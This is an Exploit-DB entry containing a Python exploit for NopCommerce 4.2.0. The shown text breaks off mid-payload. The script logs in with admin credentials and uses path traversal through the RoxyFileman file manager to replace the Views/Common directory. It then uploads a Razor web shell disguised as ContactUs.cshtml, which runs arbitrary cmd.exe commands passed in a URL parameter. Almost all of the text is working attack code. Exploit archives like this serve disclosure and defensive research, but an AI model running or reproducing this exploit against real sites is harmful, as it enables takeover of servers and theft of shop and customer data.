Exploit-DB #47783
Description: NopCommerce 4.2.0 - Privilege Escalation
Type: webapps
Platform: aspx
Date: 2019-12-17
Author: Alessandro Magnosi

Exploit:
# Vulnerability Title: NopCommerce 4.2.0 -  Privilege Escalation
# Author: Alessandro Magnosi (d3adc0de)
# Date: 2019-07-07
# Vendor Homepage: https://www.nopcommerce.com/
# Software Link : https://www.nopcommerce.com/
# Tested Version: 4.2.0
# Vulnerability Type: Privilege Escalation
# Tested on OS: Windows 10, CentOS, Docker
# Exploit designed for: NopCommerce 4.2.0 on IIS

import requests
import argparse
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

def proxy(flag):
    return {"http" : "http://127.0.0.1:9090", "https" : "http://127.0.0.1:9090"} if flag else None

def geturl(baseurl, type):
    if type == "login":
        return baseurl + "/login"
    elif type == "mv":
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2"
    elif type == "mkdir":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common"
    elif type == "put":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD"
    elif type == "contactus":    
        return baseurl + "/contactus"
    else:
        return ""

def login(email, password, url, proxy):
    res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False)
    cookie = res.cookies.get_dict()
    soup = BeautifulSoup(res.text, features="html.parser")
    token = soup.find("input", {"name":"__RequestVerificationToken"})["value"]
    res = requests.post(geturl(url, "login"), cookies=cookie, data={"Email":email, "Password":password, "__RequestVerificationToken":token, "RememberMe":"false"}, proxies=proxy, verify=False, allow_redirects=False)
    cookies = res.cookies.get_dict()
    return { **cookies, **cookie }

def shellupload(email, password, url, proxy):
    print("[+] Trying uploading shell from")	
    cookies = login(email, password, url, proxy)
    # Rename Common Directory
    requests.get(geturl(url, "mv"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Create Common Directory
    requests.get(geturl(url, "mkdir"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Upload File into Common
    requests.post(geturl(url, "put"), headers={"Content-Type" : "multipart/form-data; boundary=--------------------------[PII_REDACTED]760" ,"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, data="----------------------------[PII_REDACTED]760\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n----------------------------[PII_REDACTED]760\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\najax\r\n----------------------------[PII_REDACTED]760\r\nContent-Disposition: form-data; name=\"d\"\r\n\r\n/images/uploaded/../../../../../../../../../../inetpub/wwwroot/nopcommerce/Views/Common/\r\n----------------------------[PII_REDACTED]760\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"ContactUs.cshtml\"\r\nContent-Type: image/png\r\n\r\n@using System\r\n@using System.Diagnostics\r\n\r\n@{ \r\n    ViewData[\"Title\"] = \"MVC Sh3ll Windows\";\r\n    var result = \"\";\r\n    var cmd = Context.Request.Query[\"cmd\"];\r\n    if (!String.IsNullOrEmpty(cmd)){\r\n        result = Bash(cmd);\r\n    }\r\n\r\n    if (String.IsNullOrEmpty(result)){\r\n        result = \"Invalid command or something didn't work\";\r\n    }\r\n\r\n}\r\n\r\n@functions{\r\n    public static string Bash (string cmd)\r\n    {\r\n        var result = \"\";\r\n        var escapedArgs = cmd.Replace(\"\\\"\", \"\\\\\\\"\");\r\n        var process = new Process()\r\n        {\r\n            StartInfo = new ProcessStartInfo\r\n            {\r\n                FileName = \"cmd.exe\",\r\n                Arguments = $\"/C \\\"{escapedArgs}\\\"\",\r\n                RedirectStandardOutput = true,\r\n                UseShellExecute = false,\r\n                CreateNoWindow = true,\r\n            }\r\n        };\r\n\r\n        process.Start();\r\n        result = process.StandardOutput.ReadToEnd();\r\n        process.WaitForExit();\r\n\r\n        return result;\r\n    }\r\n}\r\n\r\n\r\n\r\n<script\r\n  src=\"https://code.jquery.com/jquery-3.2.1.min.js\"\r\n  integrity=\"sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=\"\r\n  crossorigin=\"anonymous\"></script>\r\n<script>\r\n$(function() {\r\n    var cmdResult = $(\"#cmdResult\");\r\n\r\n\tconsole.log(cmdResult);\r\n\r\n\tif (cmdResult.text() === \"Invalid command or something didn't work\"){\r\n\t    console.log(\"should change text\");\r\n        cmdResult.css(\"color\", \"red\");\r\n\t}\r\n\t\r\n\tvar term = $(\"#console\");\r\n    $(\"#cmd\").focus();\r\n\tterm.scrollTop(term.prop(\"scrollHeight\"));\r\n\t\r\n\t$.urlParam = function(name){\r\n        var results = new RegExp('[\\?&]' + name + '=([^&#]*)').exec(window.location.href);\r\n        if (results==null){\r\n           return null;\r\n        }\r\n        else{\r\n           return decodeURI(results[1]) || 0;\r\n        }\r\n    }\r\n\r\n\t\r\n\tfunction executeCmd(){\r\n        var cmd = encodeURIComponent($(\"#cmd\").val());\r\n\t    var currentCmd = $.urlParam('cmd');\r\n\t    console.log(\"should replace: \" + currentCmd + \" WITH: \" + cmd);\r\n\r\n\t    var currentUrl = location.href;\r\n\r\n\t    var paramDelimeter = \"\";\r\n\t    if (currentUrl.indexOf(\"?\") < 0){\r\n\t        paramDelimeter = \"?\";\r\n\t    } else {\r\n\t        paramDelimeter = \"&\";\r\n\t